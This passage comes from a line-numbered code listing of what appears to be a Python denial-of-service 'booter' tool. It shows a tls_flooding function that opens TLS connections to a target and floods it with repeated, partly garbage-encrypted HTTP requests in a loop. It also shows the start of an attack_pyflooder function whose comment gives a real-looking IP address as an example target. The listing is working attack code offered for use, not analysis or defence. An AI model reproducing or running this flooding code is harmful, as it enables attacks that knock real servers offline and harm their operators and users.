(ip,host,port,type_attack,booter)
| 66 | ) |
| 67 | |
| 68 | def tls_flooding(ip,host,port,type_attack,booter): |
| 69 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
| 70 | tls_sock = ssl.wrap_socket(sock) |
| 71 | url_path = generate_url_path(5) |
| 72 | tls_sock.connect((ip,port)) |
| 73 | for i in range(int(booter)): |
| 74 | http_req = f'{type_attack} /{url_path} HTTP/1.1\nHost: {host}\n\n'.encode() |
| 75 | fernet_keys = Fernet.generate_key() |
| 76 | fernet_encryptor = Fernet(fernet_keys) |
| 77 | try: |
| 78 | tls_sock.write(fernet_encryptor.encrypt(http_req)) |
| 79 | tls_sock.write(fernet_encryptor.encrypt(http_req)) |
| 80 | tls_sock.write(fernet_encryptor.encrypt(http_req)) |
| 81 | tls_sock.write(fernet_encryptor.encrypt(http_req)) |
| 82 | tls_sock.write(http_req) |
| 83 | tls_sock.write(http_req) |
| 84 | tls_sock.write(http_req) |
| 85 | tls_sock.write(http_req) |
| 86 | tls_sock.write(http_req) |
| 87 | except: |
| 88 | pass |
| 89 | tls_sock.close() |
| 90 | |
| 91 | def attack_pyflooder(ip,host, port,type_attack): # .PYFLOODER http://51.159.30.249 80 1 |
| 92 | url_path = generate_url_path(5) |
nothing calls this directly
no test coverage detected